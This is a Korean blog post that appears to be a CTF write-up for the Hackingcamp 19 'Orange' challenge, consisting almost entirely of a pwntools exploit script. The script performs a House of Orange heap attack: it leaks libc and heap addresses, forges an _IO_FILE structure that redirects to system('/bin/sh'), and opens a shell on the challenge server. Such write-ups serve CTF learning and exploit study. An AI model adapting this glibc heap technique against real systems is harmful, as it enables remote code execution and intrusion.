[Hackingcamp 19] Orange

2019. 2. 20. 10:49·PWN/CTF
728x90
from pwn import *

#s = process("./orange")
s = remote("kshgroup.kr",1216)
elf = ELF('./orange')
libc = ELF("./libc")

def read(size,content):
    s.recvuntil(">> ")
    s.sendline('1')
    s.recvuntil("Size: ")
    s.sendline(str(size))
    s.recvuntil(">> ")
    s.sendline(content)

def re_read(index,content):
    s.recvuntil(">> ")
    s.sendline('2')
    s.recvuntil("Index: ")
    s.sendline(str(index))
    s.recvuntil(">> ")
    s.sendline(content)


def write(index):
    s.recvuntil(">> ")
    s.sendline("3")
    s.recvuntil("Index: ")
    s.sendline(str(index))


#gdb.attach(s)

read(24,"A"*24)
re_read(0,"B"*24+p64(0xfe1))
read(4096,"C"*8)
read(1024,"D"*8)


write(2)
s.recvuntil("D"*8)
leak = u64(s.recv(6)+"\x00\x00")
print "leak : " + hex(leak)
libc_base = leak - 0x3c510a
print "libc_base : " + hex(libc_base)
s.recv(2)
heap = u64(s.recv(6)+"\x00\x00")
heap = heap - 0x20
print "heap : " + hex(heap)
system = libc_base + libc.symbols['system']
main_arena = leak - 1514
print "system : " + hex(system)
print "main-arena : " + hex(main_arena)
io_list_all = libc_base + 0x3c5520
print "io_list_all : " + hex(io_list_all)


io_file = "/bin/sh\x00"
io_file += p64(0x61)
io_file += p64(0)
io_file += p64(io_list_all - 0x10)
io_file += p64(0)
io_file += p64(1)
io_file = io_file.ljust(0xc0,"\x00")
io_file += p64(0)


io_file = io_file.ljust(0xd8,"\x00")
io_file += p64(heap+0x510) #fake

io_jump = "\x00"*0x18
io_jump += p64(system)

pay = "A"*0x400
pay += io_file
pay += io_jump


re_read(2,pay)


s.interactive()


저작자표시 비영리 변경금지 (새창열림)

'PWN > CTF' 카테고리의 다른 글

[Hackingcamp 19] ucanfind  (0) 2019.02.20
[Hackingcamp 19] guess  (0) 2019.02.20
[Hackingcamp 19] sms_service  (0) 2019.02.20
[Asis 2015] math sequence  (0) 2019.02.15
[Asis 2016] b00ks  (0) 2019.02.06
'PWN/CTF' 카테고리의 다른 글
  • [Hackingcamp 19] ucanfind
  • [Hackingcamp 19] guess
  • [Hackingcamp 19] sms_service
  • [Asis 2015] math sequence
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기 N
      • PROGRAMMING N
        • PYTHON
        • JS
        • 알고리즘
        • React N
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[Hackingcamp 19] Orange
상단으로

티스토리툴바